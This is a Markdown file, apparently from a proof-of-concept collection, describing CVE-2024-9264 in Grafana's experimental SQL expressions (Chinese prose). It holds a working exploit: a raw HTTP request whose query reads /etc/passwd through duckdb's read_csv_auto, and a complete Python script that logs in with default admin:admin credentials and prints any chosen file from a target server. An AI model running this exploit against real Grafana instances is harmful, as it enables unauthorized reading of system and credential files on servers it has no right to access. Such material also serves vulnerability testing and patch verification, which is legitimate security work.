POC/wpoc/Grafana/Grafana表达式远程代码执行(CVE-2024-9264).md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

158 lines
4.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Grafana表达式远程代码执行(CVE-2024-9264)
Grafana 的 SQL 表达式实验功能允许评估包含用户输入的“duckdb”查询。这些查询在传递给“duckdb”之前没有得到充分的净化从而导致命令注入和本地文件包含漏洞。任何具有 VIEWER 或更高权限的用户都能够执行此攻击。 “duckdb”二进制文件必须存在于 Grafana 的 $PATH 中才能使此攻击起作用;默认情况下,此二进制文件未安装在 Grafana 发行版中。
## 影响版本
Grafana >= v11.0.0 (all v11.x.y are impacted)
## poc
```javascript
POST /api/ds/query?ds_type=__expr__&expression=true&requestId=Q100 HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Cookie: grafana_session=a739fa9aeb235f2790f17de00fefe528
Content-Length: 368
{
"from": "1696154400000",
"to": "1696345200000",
"queries": [
{
"datasource": {
"name": "Expression",
"type": "__expr__",
"uid": "__expr__"
},
"expression": "SELECT * FROM read_csv_auto('/etc/passwd');",
"hide": false,
"refId": "B",
"type": "sql",
"window": ""
}
]
}
```
![image-20241022092542872](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202410220925944.png)
## python
```python
#!/usr/bin/env python3
"""
Grafana File Read PoC (CVE-2024-9264)
Author: z3k0sec // www.zekosec.com
"""
import requests
import json
import sys
import argparse
class Console:
def log(self, msg):
print(msg, file=sys.stderr)
console = Console()
def msg_success(msg):
console.log(f"[SUCCESS] {msg}")
def msg_failure(msg):
console.log(f"[FAILURE] {msg}")
def failure(msg):
msg_failure(msg)
sys.exit(1)
def authenticate(s, url, u, p):
res = s.post(f"{url}/login", json={"password": p, "user": u})
if res.json().get("message") == "Logged in":
msg_success(f"Logged in as {u}:{p}")
else:
failure(f"Failed to log in as {u}:{p}")
def run_query(s, url, query):
query_url = f"{url}/api/ds/query?ds_type=__expr__&expression=true&requestId=1"
query_payload = {
"from": "1696154400000",
"to": "1696345200000",
"queries": [
{
"datasource": {
"name": "Expression",
"type": "__expr__",
"uid": "__expr__"
},
"expression": query,
"hide": False,
"refId": "B",
"type": "sql",
"window": ""
}
]
}
res = s.post(query_url, json=query_payload)
data = res.json()
# Handle unexpected response
if "message" in data:
msg_failure("Unexpected response:")
msg_failure(json.dumps(data, indent=4))
return None
# Extract results
frames = data.get("results", {}).get("B", {}).get("frames", [])
if frames:
values = [
row
for frame in frames
for row in frame["data"]["values"]
]
if values:
msg_success("Successfully ran DuckDB query:")
return values
failure("No valid results found.")
def decode_output(values):
return [":".join(str(i) for i in row if i is not None) for row in values]
def main(url, user="admin", password="admin", file=None):
s = requests.Session()
authenticate(s, url, user, password)
file = file or "/etc/passwd"
escaped_filename = requests.utils.quote(file)
query = f"SELECT * FROM read_csv_auto('{escaped_filename}');"
content = run_query(s, url, query)
if content:
msg_success(f"Retrieved file {file}:")
for line in decode_output(content):
print(line)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Arbitrary File Read in Grafana via SQL Expression (CVE-2024-9264).")
parser.add_argument("--url", help="URL of the Grafana instance to exploit")
parser.add_argument("--user", default="admin", help="Username to log in as, defaults to 'admin'")
parser.add_argument("--password", default="admin", help="Password used to log in, defaults to 'admin'")
parser.add_argument("--file", help="File to read on the server, defaults to '/etc/passwd'")
args = parser.parse_args()
main(args.url, args.user, args.password, args.file)
```
## 漏洞来源
- https://zekosec.com/blog/file-read-grafana-cve-2024-9264/
- https://github.com/z3k0sec/File-Read-CVE-2024-9264